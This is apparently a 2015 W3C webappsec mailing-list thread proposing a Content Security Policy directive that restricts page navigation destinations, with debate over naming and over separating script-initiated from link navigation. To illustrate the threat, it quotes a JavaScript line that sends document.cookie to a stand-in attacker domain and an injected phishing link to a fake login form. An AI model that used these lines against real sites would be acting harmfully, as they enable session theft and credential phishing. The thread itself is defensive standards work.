Re: [CSP2] Preventing page navigation to untrusted sources

Hi,
 Regarding the naming, do note that unlike other cases the navigation-*source* is always the current page. It is the navigation-*destination* that we're talking about here. It was this thing I struggled with when I came up with `link-src`, though maybe just calling it `navigation-dst` would be best.
 Regarding the idea of using a token instead of two policies: Let me just see whether I comprehend this correctly:
    navigation-dst: source-list // allows link navigation to the specified domain, no script initiated navigation allowed    navigation-dst: source-list 'allow-user-override' // allows link & user-triggered script navigation to the specified domain
Because in that case script initiated navigation without user interaction is impossible when the navigation-dst directive is specified (e.g. relevant when the page is refreshed after an AJAX save). Additionally the `'allow-user-override'` doesn't really allow anything new, as hovering a 1x1 pixel link under the cursor and changing the `href`-attribute on the fly was already possible without the token, thus making the distinction useless.
Let me just type out some typical use cases I can think of to discuss some more detailed points:
    navigation-dst: 'self';              script-navigation-dst: 'self'              // typical (secure) web app, possibly with a short source-list    navigation-dst: *;                    script-navigation-dst: 'self'              // typical web site    navigation-dst: source-list;    script-navigation-dst: source-list    // CMS generated web site or highly secure web site    navigation-dst: *;                    script-navigation-dst: 'none'            // webmail sandbox
 Given those I think I was wrong to assume that the `script-navigation-dst` should extend from `navigation-dst` and instead I would propose that *if* `script-navigation-dst` is not specified it default to `navigation-dst`. If it is however specified then it should overwrite `navigation-dst`. Additionally per the 1x1 pixel link argument above I think it would be fine to by default let user initiated script navigation go through the `'navigation-dst'`-policy, as it's already capable of doing that and that policy is likely to be more relaxed. At the same time however I am not sure how much value there is in doing so, as it makes implementing these policies significantly more complex. 
 Greetings,  David Mulder 


     On Tuesday, April 28, 2015 6:30 PM, Brad Hill <hillbrad@gmail.com> wrote:
   

 David,
 Deian Stefan has been looking at this as part of the Confinement with Origin Web Labels deliverable on our new charter, part of which involves extending CSP to be an effective confinement mechanism.  I believe he has proposals he is working on to manage both navigation and origin-based postMessage as part of this.
  There's one open PR here for the postMessage directive, but I couldn't find anything yet on navigation:
  https://github.com/w3c/webappsec/pull/161
  Deian, can you comment?  Any progress on those proposals?
  I'm also interested in similar functionality.  Off the top of my head, I wonder if a single "navigation-src" directive wouldn't be better, with an optional 'allow-user-override' token or similar to allow navigation to be triggered by user interaction, but not programmatically (as is done for popups).
-Brad

On Tue, Apr 28, 2015 at 1:27 AM David Mulder <david.mulder@ymail.com> wrote:

Given that an attacker has found a way to execute Javascript through an XSS injection `connect-src` could be a valuable tool to prevent data from being leaked. The problem however is that it is not possible to prevent page navigation like for example
    location.href = "http://evildomain.com?"+document.cookie;
It would be incredibly valuable if a website owner could limit to which pages his pages are allowed to link or direct in any way. 
This would also be valuable to prevent phishing through XSS injection where one would inject a stylized link trying to lure the user to a different domain along the lines of for example
    <a href="http://evildomain.com/fakeLoginForm.html" style="background:red;">Click here to authorize your account against hackers</a>
And lastly it would make CSP an incredibly valuable tool for sandboxing as well. Say one is running a webmail service this would allow arbitrary script execution without the risk of data being leaked unexpectedly or the user being unexpectedly redirected.
---
What I am proposing is a directive that limits any and all linking
    link-src: my-safe-domain.com
And separately a directive that limits all script based redirection attempts (which would need to for example also include dispatching a click event on `<a>`-tags)
    script-link-src: my-safe-domain.com
The reason two different directives would be required is that during sandboxing (e.g. a webmail client) one may allow links to any domains, yet wish to prevent the browser from automatically redirecting to evildomain.com. I am inclined to say that any `link-src` directives would need to be enforced for `script-link-src` as well, as I can not think of any situation where a script would be allowed to link to a domain where an anchor tag may not and it would prevent stupid mistakes where enforcement of `script-link-src` is forgotten.
---
I have searched through the archives whether such a directive has been proposed in the past and I was not able to find anything and really hope you guys can see the value of such a directive.
 Greetings,  David Mulder